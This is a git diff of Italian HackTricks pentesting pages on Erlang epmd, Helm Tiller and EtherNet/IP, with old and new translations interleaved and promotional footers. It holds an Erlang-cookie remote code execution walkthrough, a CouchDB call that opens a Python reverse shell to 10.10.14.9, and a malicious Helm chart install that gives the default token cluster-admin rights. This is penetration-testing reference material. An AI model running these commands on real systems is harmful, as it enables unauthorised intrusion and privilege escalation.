* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Informazioni di base
|
# Informazioni di base
|
||||||
|
|
||||||
Il **Erlang Port Mapper Daemon (epmd)** funge da coordinatore per le istanze distribuite di Erlang. È responsabile del mapping dei nomi simbolici dei nodi agli indirizzi delle macchine, garantendo essenzialmente che ogni nome del nodo sia associato a un indirizzo specifico. Questo ruolo di **epmd** è cruciale per l'interazione e la comunicazione senza soluzione di continuità tra diversi nodi Erlang in una rete.
|
Il **Erlang Port Mapper Daemon (epmd)** funge da coordinatore per le istanze distribuite di Erlang. È responsabile della mappatura dei nomi simbolici dei nodi agli indirizzi delle macchine, assicurando essenzialmente che ogni nome di nodo sia associato a un indirizzo specifico. Questo ruolo di **epmd** è cruciale per l'interazione e la comunicazione senza soluzione di continuità tra i diversi nodi Erlang attraverso una rete.
|
||||||
|
|
||||||
**Porta predefinita**: 4369
|
**Porta predefinita**: 4369
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
4369/tcp open epmd Erlang Port Mapper Daemon
|
4369/tcp open epmd Erlang Port Mapper Daemon
|
||||||
```
|
```
|
||||||
Questo viene utilizzato di default nelle installazioni di RabbitMQ e CouchDB.
|
Questo è utilizzato per impostazione predefinita nelle installazioni di RabbitMQ e CouchDB.
|
||||||
|
|
||||||
# Enumerazione
|
# Enumerazione
|
||||||
|
|
||||||
|
@ -36,27 +37,7 @@ apt-get install erlang
|
||||||
erl #Once Erlang is installed this will promp an erlang terminal
|
erl #Once Erlang is installed this will promp an erlang terminal
|
||||||
1> net_adm:names('<HOST>'). #This will return the listen addresses
|
1> net_adm:names('<HOST>'). #This will return the listen addresses
|
||||||
```
|
```
|
||||||
## Automatico
|
## Automatic
|
||||||
|
|
||||||
The Erlang Port Mapper Daemon (EPMD) is a service that runs on the default port 4369 in Erlang-based systems. It is responsible for managing the distribution of Erlang nodes and facilitating communication between them.
|
|
||||||
|
|
||||||
During a penetration test, it is important to identify if EPMD is running on the target system. This can be done automatically using various tools and techniques.
|
|
||||||
|
|
||||||
One approach is to use the `nmap` tool with the `epmd` script. This script sends a request to the target system's port 4369 and checks if EPMD is running. The command to run this script is as follows:
|
|
||||||
|
|
||||||
```
|
|
||||||
nmap -p 4369 --script epmd <target_ip>
|
|
||||||
```
|
|
||||||
|
|
||||||
Another option is to use the `erl_scan` module in Erlang to check if EPMD is running on a specific IP address. This can be done by executing the following command:
|
|
||||||
|
|
||||||
```
|
|
||||||
erl_scan:port_please({<target_ip>, 4369}).
|
|
||||||
```
|
|
||||||
|
|
||||||
Additionally, there are also tools like `epmd_discover` and `epmd_scan` that can be used to automatically discover and scan for EPMD services on a network.
|
|
||||||
|
|
||||||
By automating the process of identifying EPMD services, penetration testers can efficiently gather information about the target system and proceed with further analysis and exploitation.
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
|
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
|
||||||
|
|
||||||
|
@ -75,7 +56,7 @@ PORT STATE SERVICE VERSION
|
||||||
|
|
||||||
## Connessione Remota
|
## Connessione Remota
|
||||||
|
|
||||||
Se riesci a **ottenere la cookie di autenticazione**, sarai in grado di eseguire codice sull'host. Di solito, questa cookie si trova in `~/.erlang.cookie` ed è generata da Erlang al primo avvio. Se non viene modificata o impostata manualmente, è una stringa casuale \[A:Z] con una lunghezza di 20 caratteri.
|
Se riesci a **leakare il cookie di autenticazione**, sarai in grado di eseguire codice sull'host. Di solito, questo cookie si trova in `~/.erlang.cookie` ed è generato da erlang al primo avvio. Se non modificato o impostato manualmente, è una stringa casuale \[A:Z] con una lunghezza di 20 caratteri.
|
||||||
```bash
|
```bash
|
||||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||||
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||||
|
@ -87,14 +68,14 @@ At last, we can start an erlang shell on the remote system.
|
||||||
(test@target.fqdn)1>os:cmd("id").
|
(test@target.fqdn)1>os:cmd("id").
|
||||||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||||||
```
|
```
|
||||||
Maggiori informazioni su [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
Maggiore informazione in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||||
L'autore condivide anche un programma per forzare la cookie:
|
L'autore condivide anche un programma per bruteforcare il cookie:
|
||||||
|
|
||||||
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
|
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
|
||||||
|
|
||||||
## Connessione Locale
|
## Connessione Locale
|
||||||
|
|
||||||
In questo caso sfrutteremo CouchDB per ottenere privilegi locali:
|
In questo caso sfrutteremo CouchDB per elevare i privilegi localmente:
|
||||||
```bash
|
```bash
|
||||||
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||||
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
||||||
|
@ -102,7 +83,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||||
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
||||||
```
|
```
|
||||||
Esempio tratto da [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
Esempio tratto da [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
||||||
Puoi utilizzare la macchina **Canape HTB** per **praticare** come **sfruttare questa vulnerabilità**.
|
Puoi usare **la macchina Canape HTB per** **praticare** come **sfruttare questa vulnerabilità**.
|
||||||
|
|
||||||
## Metasploit
|
## Metasploit
|
||||||
```bash
|
```bash
|
||||||
|
@ -114,16 +95,17 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
|
||||||
* `port:4369 "alla porta"`
|
* `port:4369 "alla porta"`
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,21 +1,22 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Informazioni di base
|
# Informazioni di base
|
||||||
|
|
||||||
Helm è il **gestore di pacchetti** per Kubernetes. Consente di impacchettare file YAML e distribuirli in repository pubbliche e private. Questi pacchetti sono chiamati **Helm Charts**. **Tiller** è il **servizio** **in esecuzione** di default sulla porta 44134 che offre il servizio.
|
Helm è il **gestore di pacchetti** per Kubernetes. Permette di impacchettare file YAML e distribuirli in repository pubbliche e private. Questi pacchetti sono chiamati **Helm Charts**. **Tiller** è il **servizio** **in esecuzione** per impostazione predefinita sulla porta 44134 che offre il servizio.
|
||||||
|
|
||||||
**Porta predefinita:** 44134
|
**Porta predefinita:** 44134
|
||||||
```
|
```
|
||||||
|
@ -24,7 +25,7 @@ PORT STATE SERVICE VERSION
|
||||||
```
|
```
|
||||||
# Enumerazione
|
# Enumerazione
|
||||||
|
|
||||||
Se puoi **enumerare i pod e/o i servizi** di diversi namespace, elenca e cerca quelli con **"tiller" nel loro nome**:
|
Se puoi **enumerare i pod e/o i servizi** di diversi namespace, enumerali e cerca quelli con **"tiller" nel loro nome**:
|
||||||
```bash
|
```bash
|
||||||
kubectl get pods | grep -i "tiller"
|
kubectl get pods | grep -i "tiller"
|
||||||
kubectl get services | grep -i "tiller"
|
kubectl get services | grep -i "tiller"
|
||||||
|
@ -45,39 +46,40 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
|
||||||
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
||||||
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
||||||
```
|
```
|
||||||
Potresti anche provare a trovare questo servizio controllando la porta 44134:
|
Puoi anche provare a trovare questo servizio in esecuzione controllando la porta 44134:
|
||||||
```bash
|
```bash
|
||||||
sudo nmap -sS -p 44134 <IP>
|
sudo nmap -sS -p 44134 <IP>
|
||||||
```
|
```
|
||||||
Una volta scoperto, puoi comunicare con esso scaricando l'applicazione client helm. Puoi utilizzare strumenti come `homebrew`, o consultare [**la pagina ufficiale dei rilasci**](https://github.com/helm/helm/releases)**.** Per ulteriori dettagli o altre opzioni, consulta [la guida all'installazione](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
Una volta che l'hai scoperto, puoi comunicare con esso scaricando l'applicazione client helm. Puoi usare strumenti come `homebrew`, o guardare [**la pagina ufficiale delle release**](https://github.com/helm/helm/releases)**.** Per ulteriori dettagli, o per altre opzioni, consulta [la guida all'installazione](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
||||||
|
|
||||||
Successivamente, puoi **enumerare il servizio**:
|
Poi, puoi **enumerare il servizio**:
|
||||||
```
|
```
|
||||||
helm --host tiller-deploy.kube-system:44134 version
|
helm --host tiller-deploy.kube-system:44134 version
|
||||||
```
|
```
|
||||||
## Escalazione dei privilegi
|
## Privilege Escalation
|
||||||
|
|
||||||
Di default, **Helm2** viene installato nel **namespace kube-system** con **alti privilegi**, quindi se trovi il servizio e hai accesso ad esso, ciò potrebbe consentirti di **escalare i privilegi**.
|
Per impostazione predefinita, **Helm2** è stato installato nel **namespace kube-system** con **elevati privilegi**, quindi se trovi il servizio e hai accesso ad esso, questo potrebbe consentirti di **escalare i privilegi**.
|
||||||
|
|
||||||
Tutto ciò che devi fare è installare un pacchetto come questo: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) che darà all'**accesso al token di servizio predefinito l'accesso a tutto il cluster.**
|
Tutto ciò che devi fare è installare un pacchetto come questo: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) che darà al **token di servizio predefinito accesso a tutto nell'intero cluster.**
|
||||||
```
|
```
|
||||||
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
||||||
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
||||||
/pwnchart
|
/pwnchart
|
||||||
```
|
```
|
||||||
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) hai la **spiegazione dell'attacco**, ma in sostanza, se leggi i file [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) e [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) all'interno di _helm-tiller-pwn/pwnchart/templates/_ puoi vedere come **tutti i privilegi vengono dati al token predefinito**.
|
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) hai la **spiegazione dell'attacco**, ma fondamentalmente, se leggi i file [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) e [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) all'interno di _helm-tiller-pwn/pwnchart/templates/_ puoi vedere come **tutti i privilegi vengono dati al token predefinito**.
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,21 +1,22 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# **Informazioni sul protocollo**
|
# **Informazioni sul Protocollo**
|
||||||
|
|
||||||
EtherNet/IP è un **protocollo di rete Ethernet industriale** comunemente utilizzato nei **sistemi di controllo dell'automazione industriale**. È stato sviluppato da Rockwell Automation alla fine degli anni '90 ed è gestito da ODVA. Il protocollo garantisce **l'interoperabilità dei sistemi multi-fornitore** ed è utilizzato in varie applicazioni come **impianti di trattamento dell'acqua**, **impianti di produzione** e **servizi pubblici**. Per identificare un dispositivo EtherNet/IP, viene inviata una query a **TCP/44818** con un **messaggio di elenco delle identità (0x63)**.
|
EtherNet/IP è un **protocollo di rete Ethernet industriale** comunemente utilizzato nei **sistemi di controllo dell'automazione industriale**. È stato sviluppato da Rockwell Automation alla fine degli anni '90 ed è gestito da ODVA. Il protocollo garantisce **interoperabilità dei sistemi multi-vendor** ed è utilizzato in varie applicazioni come **impianti di trattamento dell'acqua**, **strutture di produzione** e **servizi pubblici**. Per identificare un dispositivo EtherNet/IP, viene inviata una query a **TCP/44818** con un **messaggio di identità (0x63)**.
|
||||||
|
|
||||||
**Porta predefinita:** 44818 UDP/TCP
|
**Porta predefinita:** 44818 UDP/TCP
|
||||||
```
|
```
|
||||||
|
@ -33,16 +34,17 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
|
||||||
* `port:44818 "nome del prodotto"`
|
* `port:44818 "nome del prodotto"`
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,21 +1,22 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Informazioni sul Protocollo
|
# Informazioni sul Protocollo
|
||||||
|
|
||||||
**BACnet** è un **protocollo di comunicazione** per reti di Automazione e Controllo degli Edifici (BAC) che sfrutta il protocollo standard **ASHRAE**, **ANSI** e **ISO 16484-5**. Agevola la comunicazione tra sistemi di automazione e controllo degli edifici, consentendo applicazioni come il controllo HVAC, il controllo dell'illuminazione, il controllo degli accessi e i sistemi di rilevamento degli incendi a scambiare informazioni. BACnet garantisce l'interoperabilità e consente ai dispositivi di automazione degli edifici computerizzati di comunicare, indipendentemente dai servizi specifici che forniscono.
|
